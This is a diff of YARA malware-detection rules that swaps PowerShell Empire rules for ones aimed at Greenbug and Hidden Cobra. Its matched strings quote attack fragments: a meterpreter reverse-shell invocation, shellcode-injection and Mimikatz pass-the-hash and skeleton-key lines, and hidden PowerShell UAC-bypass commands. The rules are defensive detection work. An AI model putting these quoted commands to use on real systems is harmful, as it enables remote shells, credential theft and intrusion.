+		hash2 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
 
 	strings:
-		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii
-		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii
+		$x1 = "F:\\Projects\\Bot\\Bot\\Release\\Ism.pdb" fullword ascii
+		$x2 = "C:\\ddd\\wer2.txt" fullword wide
+		$x3 = "\\Microsoft\\Windows\\tmp43hh11.txt" wide
 
 	condition:
-		filesize <14KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Shellcode : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_4 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
+		description = "Detects ISMDoor Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41788f71-cc99-50b3-bdc7-17b132ab2767"
-		date = "2015-08-06"
+		id = "d45dea36-6051-5531-afd2-abf27cd06a12"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L82-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
-		logic_hash = "968a140f75aa17bd9aac243483cade931dc047854b65b2f61146492c2cf01ea5"
-		score = 70
+		reference = "https://goo.gl/urp4CD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L75-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "869832536d838e062227ccd3b84f8559d2215360c0e09ec791db623d7d3d7a3b"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
+		hash2 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
 
 	strings:
-		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii
-		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii
-		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii
+		$s1 = "powershell.exe -nologo -windowstyle hidden -c \"Set-ExecutionPolicy -scope currentuser" fullword ascii
+		$s2 = "powershell.exe -c \"Set-ExecutionPolicy -scope currentuser -ExecutionPolicy unrestricted -f; . \"" fullword ascii
+		$s3 = "c:\\windows\\temp\\tmp8873" fullword ascii
+		$s4 = "taskkill /im winit.exe /f" fullword ascii
+		$s5 = "invoke-psuacme"
+		$s6 = "-method oobe -payload \"\"" fullword ascii
+		$s7 = "C:\\ProgramData\\stat2.dat" fullword wide
+		$s8 = "Invoke-bypassuac" fullword ascii
+		$s9 = "Start Keylog Done" fullword wide
+		$s10 = "Microsoft\\Windows\\WinIt.exe" fullword ascii
+		$s11 = "Microsoft\\Windows\\Tmp9932u1.bat\"" fullword ascii
+		$s12 = "Microsoft\\Windows\\tmp43hh11.txt" fullword wide
 
 	condition:
-		filesize <100KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_Empire_Invoke_Mimikatz : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_5 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f7d6c1c4-2a24-54fd-b745-32d7894affc8"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L100-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
-		logic_hash = "3e16bed3dd7b36920cdf01507f35e38d004e3ce2f3301911a8ee4aedbae6c5c3"
-		score = 70
+		id = "12362711-f466-5f9e-9227-1cf84aec93e5"
+		date = "2017-01-25"
+		modified = "2023-01-27"
+		reference = "https://goo.gl/urp4CD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L103-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cdb4b2447e7eb3546b33a804abf5fbc20817823e5c9440109db7b44adf90899d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
+		hash2 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
+		hash3 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
+		hash4 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
 
 	strings:
-		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii
-		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii
-		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii
+		$x1 = "cmd /u /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter" fullword ascii
+		$x2 = "cmd /a /c net user administrator /domain >>" fullword ascii
+		$x3 = "cmd /a /c netstat -ant >>\"%localappdata%\\Microsoft\\" ascii
+		$o1 = "========================== (Net User) ==========================" ascii fullword
 
 	condition:
-		filesize <2500KB and 2 of them
+		filesize <2000KB and (( uint16(0)==0x5a4d and 1 of them ) or $o1)
 }
-rule SIGNATURE_BASE_Empire_Lib_Modules_Credentials_Mimikatz_Pth : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_Nov17_1 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
+		description = "Detects Greenbug Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f954b7e8-e820-5111-ba8d-a9b9779381b0"
-		date = "2015-08-06"
+		id = "50816c09-5f38-5e05-9915-b96f00ee4b88"
+		date = "2017-11-26"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L118-L133"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
-		logic_hash = "6989c2e50ce642e0300e1293f46cd36e5141274d1e7172a8312595bb515bede2"
-		score = 70
-		quality = 85
+		reference = "http://www.clearskysec.com/greenbug/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L141-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afd006d7e53cdedbed5938e5dea71273dd21a1382239bac03194662e95d053c8"
+		score = 75
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6e55e161dc9ace3076640a36ef4a8819bb85c6d5e88d8e852088478f79cf3b7c"
+		hash2 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
 
 	strings:
-		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
-		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii
+		$x1 = "AgentV2.exe  -c  SampleDomain.com" fullword ascii
+		$x2 = ".ntpupdateserver.com" fullword ascii
+		$x3 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
+		$x4 = "a67d0db885a3432576548a2a03707334" fullword ascii
+		$x5 = "a67d0db8a2a173347654432503702aa3" fullword ascii
+		$x6 = "!!! can not create output file !!!" fullword ascii
+		$s1 = "\\runlog*" ascii
+		$s2 = "can not specify username!!" fullword ascii
+		$s3 = "Agent can not be configured" fullword ascii
 
 	condition:
-		filesize <12KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="58ba44f7ff5436a603fec3df97d815ea" or pe.imphash()=="538805ecd776b9a42e71aebf94fde1b1" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Empire_Write_Hijackdll : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hiddencobra_Rule_1
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6a80af21-fb01-5996-b14d-44ff55b7fb3e"
-		date = "2015-08-06"
+		description = "Detects Hidden Cobra Malware"
+		author = "US CERT"
+		id = "921c027e-fac3-5419-b0a6-5043f5cde466"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L135-L151"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
-		logic_hash = "e01157fe4adaf647474292bfbbb8196c0b7e89433da52a386a8d9573ae543679"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L11-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e8bb844d72b7d7564caec0d0842889000c77611eeb24ac5c5cb35072a92c9d10"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii
-		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii
-		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii
+		$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
+            A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
+            48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
+            73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
+            AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
+            39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
+            3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
+            B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
 
 	condition:
-		filesize <500KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Skeleton_Key : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hiddencobra_Rule_3
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d508e09e-13e8-5866-bb5b-0d886f960bb5"
-		date = "2015-08-06"
+		description = "Detects Hidden Cobra Malware"
+		author = "US CERT"
+		id = "39c7e039-4b07-575d-a93a-539ecc4e63d8"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L153-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
-		logic_hash = "910451b2b2ed7cb5f7891d97d15e49da24b182adc903926f539fc4bfe589f2d5"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L52-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c0e385e46fe9d6cde7d2bc8ef059cfd8c33ef5b17e9fcd7cea97863fb8d2c24"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii
-		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii
-		$s3 = "command = \"misc::skeleton\"" fullword ascii
-		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii
+		$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
+         44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
+         00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
+         6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
+         48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
+         44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
+         18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
+         44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
+         66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
+         6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
+         83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
+         00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
+         FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
+         49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
+         C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
+         E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
+         8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
+         C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
+         ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
+         48 C3 }
 
 	condition:
-		filesize <6KB and 2 of them
+		$randomUrlBuilder
 }
-rule SIGNATURE_BASE_Empire_Invoke_Wmi : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Hiddencobra_Ghostsecret_1 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
+		description = "Detects Hidden Cobra Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1e1d1e71-6ea9-500a-b8b8-c48a64bc2b54"
-		date = "2015-08-06"
+		id = "d6955294-84a4-5694-87c9-b5b1c39e0fae"
+		date = "2018-08-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L172-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
-		logic_hash = "7179a22eec8eb9e59bf590e671e6849d5b960c58eb8fa591bc3b340d64f1d076"
-		score = 70
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L87-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b1e72ca66520152b444cc415bdf54921ebba9671519d3b0327316cee2bf0ba1d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "05a567fe3f7c22a0ef78cc39dcf2d9ff283580c82bdbe880af9549e7014becfc"
 
 	strings:
-		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
-		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii
-		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii
+		$s1 = "%s\\%s.dll" fullword wide
+		$s2 = "PROXY_SVC_DLL.dll" fullword ascii
 
 	condition:
-		filesize <20KB and 2 of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Khepri_Beacon_Sep21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Hiddencobra_Ghostsecret_2 : FILE
 {
 	meta:
-		description = "Detects Khepri C2 framework beacons"
+		description = "Detects Hidden Cobra Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b2c8aaf7-7953-55a3-8499-565800fa01f1"
-		date = "2021-09-08"
+		id = "dab5b0ec-ae89-521e-bbb9-15602db9ed6c"
+		date = "2018-08-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/geemion/Khepri/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_khepri.yar#L2-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c688dbda6006ef28305285f6aeec24a23cbfe9174d09cf4e3586bd0cf7290e60"
-		score = 90
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L103-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "878711f5e1a8a3cfefdaf13fc08a4778fba9d2f729248784cf72b610c8bc5e17"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "86c48679db5f4c085fd741ebec5235bc6cf0cdf8ef2d98fd8a689ceb5088f431"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "45e68dce0f75353c448865b9abafbef5d4ed6492cd7058f65bf6aac182a9176a"
 
 	strings:
-		$x1 = "NT %d.%d Build %d  ProductType:%s" ascii fullword
-		$xe1 = "YzIuQ01EUEFSQU0uY21k" ascii
-		$xe2 = "MyLkNNRFBBUkFNLmNtZ" ascii
-		$xe3 = "jMi5DTURQQVJBTS5jbW" ascii
-		$sx1 = "c2.ProcessItem.user" ascii fullword
-		$sx2 = "c2.CMDPARAM.cmd" ascii fullword
-		$sx3 = "c2.DownLoadFile.file_path" ascii fullword
-		$sa1 = "file size zero"
-		$sa2 = "cmd.exe /c "
-		$sa3 = "error parse param"
-		$sa4 = "innet_ip"
-		$op1 = { c3 b9 b4 98 49 00 87 01 5d c3 b8 b8 98 49 00 c3 8b ff }
-		$op2 = { 8b f1 80 3d 58 97 49 00 00 0f 85 96 00 00 00 33 c0 40 b9 50 97 49 00 87 01 33 db }
-		$op3 = { 90 d5 0c 43 00 34 0d 43 00 ea 0c 43 00 7e 0d 43 00 b6 0d 43 00 cc }
-		$op4 = { 69 c0 ff 00 00 00 8b 4d c0 23 88 40 7c 49 00 89 4d c0 8b 45 cc 0b 45 c0 89 45 cc 8b 45 d0 }
+		$s1 = "ping 127.0.0.1 -n 3" fullword wide
+		$s2 = "Process32" fullword ascii
+		$s11 = "%2d%2d%2d%2d%2d%2d" fullword ascii
+		$s12 = "del /a \"" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d or uint32be(0)==0x7f454c46) and filesize <2000KB and (1 of ($x*) or 2 of ($sx*) or all of ($sa*) or 3 of ($op*)) or ( filesize <10MB and 1 of ($xe*)) or 5 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Mywscript_Compiledscript : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_1 : FILE
 {
 	meta:
-		description = "Detects a scripte with default name Mywscript compiled with Script2Exe (can also be a McAfee tool https://community.mcafee.com/docs/DOC-4124)"
+		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a0480a8a-5a7e-5829-851b-7301cfc9da60"
-		date = "2017-07-27"
+		id = "923a0812-f375-5c0c-a22c-fc71ddcad4e3"
+		date = "2019-04-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mywscript_dropper.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5619de9589e3d34026bf4ec223f2c6b94fcb7362c8f3c26f7582030cfc4385cf"
-		score = 65
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L124-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6cd036129ea54f4e3a2c52bf9ebd04e2d368e737cf83ca34a8feb79ea477a3af"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "515f5188ba6d039b8c38f60d3d868fa9c9726e144f593066490c7c97bf5090c8"
+		hash1 = "d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39"
 
 	strings:
-		$x1 = "C:\\Projets\\vbsedit_source\\script2exe\\Release\\mywscript.pdb" fullword ascii
-		$s1 = "mywscript2" fullword wide
-		$s2 = "MYWSCRIPT2" fullword wide
+		$s1 = "www.naver.com" fullword ascii
+		$s2 = "PolarSSL Test CA0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and ($x1 or 2 of them )
+		filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Fourelementsword_Config_File
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_2 : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "488a2344-3d8d-5769-aca8-9e14f38f5eb0"
-		date = "2016-04-18"
+		id = "9c7fd381-272a-5cfc-a7ee-7f0f9221fa04"
+		date = "2019-04-13"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L11-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
-		logic_hash = "680e50998093e63a4e3c7d5338ac149efef83cdb41ceb4ce0245e8bd2ab99b84"
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L139-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "741d69b470ac230d502116ebd5f09bbf4bdbbbdd7e70b97a4bd5d3f2c8e148ef"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3"
 
 	strings:
-		$s0 = "01,,hccutils.dll,2" fullword ascii
-		$s1 = "RegisterDlls=OurDll" fullword ascii
-		$s2 = "[OurDll]" fullword ascii
-		$s3 = "[DefaultInstall]" fullword ascii
-		$s4 = "Signature=\"$Windows NT$\"" fullword ascii
+		$s1 = "%SystemRoot%\\System32\\svchost.exe -k mdnetuse" fullword ascii
+		$s2 = "%s\\hid.dll" fullword ascii
+		$s3 = "%Systemroot%\\System32\\" ascii
+		$s4 = "SYSTEM\\CurrentControlSet\\services\\%s\\Parameters" fullword ascii
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Fourelementsword_T9000 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_3 : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "35ae844e-52e1-5e6f-984d-aa75ebd2f60f"
-		date = "2016-04-18"
+		id = "683b4d64-575a-5bdb-9ad8-e10a60037032"
+		date = "2019-04-13"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L30-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
-		logic_hash = "1c7b063cbe9d44a9d194a180570f8313460f61560ac2cda5d66e048934170faa"
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hidden_cobra.yar#L156-L185"
